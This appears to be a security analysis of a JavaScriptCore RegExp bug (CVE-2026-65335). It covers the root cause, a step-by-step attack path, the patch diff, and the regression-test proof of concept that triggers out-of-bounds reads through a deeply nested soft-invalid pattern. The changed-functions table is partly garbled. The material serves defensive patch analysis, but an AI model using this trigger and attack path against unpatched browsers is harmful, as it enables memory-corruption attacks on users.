CVE-2026-65335
Overview
Background
- `RegExp` (JSC runtime object)
- wraps a compiled regular expression. It caches pattern metadata it reads from the Yarr parser:
m_numSubpatterns(capture-group count),m_atom,m_specificPattern, andm_rareData(named-capture-group tables). - Lazy / multi-stage compilation
- a
RegExpcan be parsed once (finishCreation) and later (re)compiled on demand:byteCodeCompileIfNecessary,compile, andcompileMatchOnlyeach re-run the Yarr parser (YarrPattern) and must refresh the cached metadata. - Soft-invalid patterns / `isValid()`
- some patterns fail to compile for recoverable reasons (e.g. excessive nesting causing a parser stack-overflow soft error). Such a
RegExpis left in aParseError/invalid state;isValid()reports this. - `DFGStrengthReductionPhase`
- a DFG optimizer phase that can fold a
new RegExp(...)into a constantNewRegExpnode referencing a frozenRegExp*when it can prove the argument. - `RegExpCache::lookupOrCreate`
- interns
RegExpobjects by (pattern, flags) key in a weak cache. - `subpatternResults` / matches array
- match results are sized by
m_numSubpatterns; a stale/oversized count causes out-of-bounds indexing when the result array is built.
Root Cause Analysis
The core invariant is that a RegExp’s cached capture metadata (m_numSubpatterns, m_rareData, m_atom, m_specificPattern) must stay consistent with the actual compiled bytecode and must never be trusted for an invalid pattern. Two defects broke this. First, RegExp’s recompilation paths (byteCodeCompileIfNecessary, compile, compileMatchOnly) each re-ran the parser and then reassigned m_atom/m_specificPattern while asserting m_numSubpatterns == pattern.m_numSubpatterns — but they did not refresh m_rareData, and worse, the original finishCreation path allocated a fresh m_rareData = makeUnique<RareData>() each time. The patch consolidates all of this into one RegExp::updateMetadataFromPattern(YarrPattern&) that updates m_atom, m_specificPattern, m_numSubpatterns, and populates m_rareData only if not already present (if (!m_rareData) m_rareData = makeUnique<RareData>()), removing the brittle ASSERTs and ensuring every (re)compile path refreshes the same fields coherently.
Second, and the security crux, invalid regexps were allowed to flow into fast paths. DFGStrengthReductionPhase folded a NewRegExp for a RegExp* without checking validity; the patch adds if (!regExp->isValid()) break; before convertToNewRegExp(...). And RegExpCache::lookupOrCreate interned every created RegExp into the weak cache; the patch adds if (!regExp->isValid()) return regExp; so an invalid/soft-error regexp is not cached and re-handed out. The combination means a soft-invalid RegExp (its m_numSubpatterns / capture metadata left in a stale or inconsistent state because compilation never completed consistently) could be frozen into optimized code and later executed, so match-result construction used a capture count that did not match the real bytecode — an out-of-bounds read/write over subpatternResults and the matches array. The committed new-regexp-untyped-soft-invalid-stale-captures.js deliberately builds a hugely nested pattern (34000-deep) that soft-fails, recurses to deep call depth, and repeatedly re-exposes it to read “stale captures,” matching this mechanism. The advisory says “crash,” but the diff shows a stale-capture-count memory-safety bug.
RegExp with stale capture metadata was allowed to be constant-folded by DFG strength reduction (and interned by the cache), so it was executed with a m_numSubpatterns that did not match its real compiled bytecode, driving out-of-bounds indexing of the match results.Attack Path
- Build a soft-invalid pattern
Attacker JS constructs a
RegExpthat fails to compile for a recoverable reason (deeply nested groups → parser soft error), leavingm_numSubpatterns/m_rareDatain a stale state. - Get it folded
Reference the regexp from a hot function so DFG strength reduction folds it into a constant
NewRegExp(unpatched: noisValid()gate), and/or letRegExpCachehand the same stale object back out. - Execute a match
Run
exposed.test(subject)on the resurrected regexp so the matcher produces subpattern results sized by the real bytecode. - Count mismatch
The matches-array/
subpatternResultsconstruction uses the stalem_numSubpatterns(or droppedm_rareDatanamed-group tables) that disagrees with the actual captures. - Primitive Out-of-bounds read (and potential write) when building the result array / copying capture offsets (info leak, with corruption inferred).
Impact Assessment
RegExp construction and matching; JIT tier-up is the trigger for the strength-reduction prong. The diff substantiates a stale-capture-metadata inconsistency: an invalid RegExp with a mismatched m_numSubpatterns/m_rareData can be executed and its results materialized, producing out-of-bounds indexing of capture arrays — an OOB read primitive (heap info disclosure) with possible corruption. This exceeds the advisory’s “crash” characterization. Controlled write / full escalation is inferred, not proven by the diff; the committed test targets the crash/stale-read behavior.Changed Functions
| Function | Change | Notes |
|---|---|---|
ifSource/JavaScriptCore/runtime/RegExp.cpp |
modified | |
VMSource/JavaScriptCore/runtime/RegExp.h |
modified | |
forJSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js |
modified | |
ifJSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js |
modified |
Files Changed
JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.jsSource/JavaScriptCore/dfg/DFGStrengthReductionPhase.cppSource/JavaScriptCore/runtime/RegExp.cppSource/JavaScriptCore/runtime/RegExp.hSource/JavaScriptCore/runtime/RegExpCache.cpp
Audit Directions
- `isValid()` gating on fast pathsAudit every consumer that treats a
RegExp*as ready-to-execute (DFG/FTL regexp nodes,RegExpObject,String.prototyperegex methods) to ensure invalid regexps are rejected before their metadata is trusted. - Capture-count/metadata coherence across recompilesReview all paths that mutate
m_numSubpatterns/m_rareData/m_atomto ensure they go throughupdateMetadataFromPatternand cannot leave the object with a count that disagrees with its bytecode. - Soft-error vs. hard-error handlingLook for other objects (not just
RegExp) that persist partially-initialized metadata after a recoverable parser/compile soft error and may be re-handed out via caches.
Patch
diff --git a/Source/JavaScriptCore/dfg/DFGStrengthReductionPhase.cpp b/Source/JavaScriptCore/dfg/DFGStrengthReductionPhase.cpp
index 78ca126c6509..42131b5c5028 100644
--- a/Source/JavaScriptCore/dfg/DFGStrengthReductionPhase.cpp
+++ b/Source/JavaScriptCore/dfg/DFGStrengthReductionPhase.cpp
@@ -716,6 +716,9 @@ private:
if (!regExp)
break;
+ if (!regExp->isValid())
+ break;
+
m_node->convertToNewRegExp(m_graph.freezeStrong(regExp), m_insertionSet.insertConstantForUse(m_nodeIndex, m_node->origin, jsNumber(0), UntypedUse));
m_changed = true;
break;
diff --git a/Source/JavaScriptCore/runtime/RegExp.cpp b/Source/JavaScriptCore/runtime/RegExp.cpp
index 2c636589f41e..5b2553b6d5fd 100644
--- a/Source/JavaScriptCore/runtime/RegExp.cpp
+++ b/Source/JavaScriptCore/runtime/RegExp.cpp
@@ -164,12 +164,18 @@ void RegExp::finishCreation(VM& vm)
return;
}
+ updateMetadataFromPattern(pattern);
+}
+
+void RegExp::updateMetadataFromPattern(Yarr::YarrPattern& pattern)
+{
m_atom = WTF::move(pattern.m_atom);
m_specificPattern = pattern.m_specificPattern;
m_numSubpatterns = pattern.m_numSubpatterns;
if (!pattern.m_captureGroupNames.isEmpty() || !pattern.m_namedGroupToParenIndices.isEmpty()) {
- m_rareData = makeUnique<RareData>();
+ if (!m_rareData)
+ m_rareData = makeUnique<RareData>();
m_rareData->m_numDuplicateNamedCaptureGroups = pattern.m_numDuplicateNamedCaptureGroups;
m_rareData->m_captureGroupNames.swap(pattern.m_captureGroupNames);
m_rareData->m_namedGroupToParenIndices.swap(pattern.m_namedGroupToParenIndices);
@@ -226,10 +232,7 @@ void RegExp::byteCodeCompileIfNecessary(VM* vm)
m_state = ParseError;
return;
}
- ASSERT(m_numSubpatterns == pattern.m_numSubpatterns);
-
- m_atom = WTF::move(pattern.m_atom);
- m_specificPattern = pattern.m_specificPattern;
+ updateMetadataFromPattern(pattern);
m_regExpBytecode = byteCodeCompilePattern(vm, pattern, m_constructionErrorCode);
if (!m_regExpBytecode) {
@@ -247,10 +250,7 @@ void RegExp::compile(VM* vm, Yarr::CharSize charSize, std::optional<StringView>
m_state = ParseError;
return;
}
- ASSERT(m_numSubpatterns == pattern.m_numSubpatterns);
-
- m_atom = WTF::move(pattern.m_atom);
- m_specificPattern = pattern.m_specificPattern;
+ updateMetadataFromPattern(pattern);
if (!hasCode()) {
ASSERT(m_state == NotCompiled);
@@ -315,10 +315,7 @@ void RegExp::compileMatchOnly(VM* vm, Yarr::CharSize charSize, std::optional<Str
m_state = ParseError;
return;
}
- ASSERT(m_numSubpatterns == pattern.m_numSubpatterns);
-
- m_atom = WTF::move(pattern.m_atom);
- m_specificPattern = pattern.m_specificPattern;
+ updateMetadataFromPattern(pattern);
if (!hasCode()) {
ASSERT(m_state == NotCompiled);
diff --git a/Source/JavaScriptCore/runtime/RegExp.h b/Source/JavaScriptCore/runtime/RegExp.h
index 328e1290eb6f..ade76d562bc5 100644
--- a/Source/JavaScriptCore/runtime/RegExp.h
+++ b/Source/JavaScriptCore/runtime/RegExp.h
@@ -35,6 +35,10 @@
namespace JSC {
+namespace Yarr {
+struct YarrPattern;
+}
+
struct RegExpRepresentation;
class VM;
@@ -176,6 +180,8 @@ private:
RegExp(VM&, const String&, OptionSet<Yarr::Flags>);
void finishCreation(VM&);
+ void updateMetadataFromPattern(Yarr::YarrPattern&);
+
static RegExp* createWithoutCaching(VM&, const String&, OptionSet<Yarr::Flags>);
enum RegExpState : uint8_t {
diff --git a/Source/JavaScriptCore/runtime/RegExpCache.cpp b/Source/JavaScriptCore/runtime/RegExpCache.cpp
index f7059ad07954..ac9e547c0e91 100644
--- a/Source/JavaScriptCore/runtime/RegExpCache.cpp
+++ b/Source/JavaScriptCore/runtime/RegExpCache.cpp
@@ -57,6 +57,9 @@ RegExp* RegExpCache::lookupOrCreate(VM& vm, const String& patternString, OptionS
vm.addRegExpToTrace(regExp);
#endif
+ if (!regExp->isValid())
+ return regExp;
+
{
Locker locker { m_lock };
weakAdd(m_weakCache, key, Weak<RegExp>(regExp, this));
diff --git a/JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js b/JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js
new file mode 100644
index 000000000000..9d7fba576e76
--- /dev/null
+++ b/JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js
@@ -0,0 +1,52 @@
+//@ runDefault("--jitPolicyScale=0")
+
+const nesting = 34000;
+const callDepth = 8000;
+const iterations = testLoopCount;
+const stride = 1024;
+const emptyCaptures = 22;
+
+function atDepth(depth, callback) {
+ const keep = depth;
+ if (!depth)
+ return callback() + keep;
+ return atDepth(depth - 1, callback) + Number(keep === -1);
+}
+
+let regexpPayload = "";
+for (let i = 0; i < emptyCaptures; ++i)
+ regexpPayload += "()";
+regexpPayload += "(?=b*(a*))";
+regexpPayload += "(?:stablefinalread)?";
+
+const pattern = "(?:".repeat(nesting) + regexpPayload + ")".repeat(nesting);
+
+const pieces = [];
+for (let offset = 0; offset < pattern.length; offset += 8000)
+ pieces.push(JSON.stringify(pattern.slice(offset, offset + 8000)));
+const make = eval(`(function (run) { if (!run) return 1; return new RegExp(${pieces.join(" + ")}, ""); })`);
+
+try { make(true); } catch (e) { }
+fullGC();
+
+let exposed = null;
+try {
+ atDepth(callDepth, () => {
+ try { new RegExp(pattern, ""); } catch (e) { }
+ for (let i = 0; i < iterations && !exposed; ++i) {
+ make(false);
+ if ((i % stride) === stride - 1)
+ try { exposed = make(true); } catch (e) { }
+ }
+ if (!exposed)
+ try { exposed = make(true); } catch (e) { }
+ return 0;
+ });
+} catch (e) { }
+
+if (exposed) {
+ const subject = "a".repeat(113);
+ for (let i = 0; i < 6; ++i) {
+ try { exposed.test(subject); } catch (e) { }
+ }
+}
Regression Test / PoC
diff --git a/JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js b/JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js
new file mode 100644
index 000000000000..9d7fba576e76
--- /dev/null
+++ b/JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js
@@ -0,0 +1,52 @@
+//@ runDefault("--jitPolicyScale=0")
+
+const nesting = 34000;
+const callDepth = 8000;
+const iterations = testLoopCount;
+const stride = 1024;
+const emptyCaptures = 22;
+
+function atDepth(depth, callback) {
+ const keep = depth;
+ if (!depth)
+ return callback() + keep;
+ return atDepth(depth - 1, callback) + Number(keep === -1);
+}
+
+let regexpPayload = "";
+for (let i = 0; i < emptyCaptures; ++i)
+ regexpPayload += "()";
+regexpPayload += "(?=b*(a*))";
+regexpPayload += "(?:stablefinalread)?";
+
+const pattern = "(?:".repeat(nesting) + regexpPayload + ")".repeat(nesting);
+
+const pieces = [];
+for (let offset = 0; offset < pattern.length; offset += 8000)
+ pieces.push(JSON.stringify(pattern.slice(offset, offset + 8000)));
+const make = eval(`(function (run) { if (!run) return 1; return new RegExp(${pieces.join(" + ")}, ""); })`);
+
+try { make(true); } catch (e) { }
+fullGC();
+
+let exposed = null;
+try {
+ atDepth(callDepth, () => {
+ try { new RegExp(pattern, ""); } catch (e) { }
+ for (let i = 0; i < iterations && !exposed; ++i) {
+ make(false);
+ if ((i % stride) === stride - 1)
+ try { exposed = make(true); } catch (e) { }
+ }
+ if (!exposed)
+ try { exposed = make(true); } catch (e) { }
+ return 0;
+ });
+} catch (e) { }
+
+if (exposed) {
+ const subject = "a".repeat(113);
+ for (let i = 0; i < 6; ++i) {
+ try { exposed.test(subject); } catch (e) { }
+ }
+}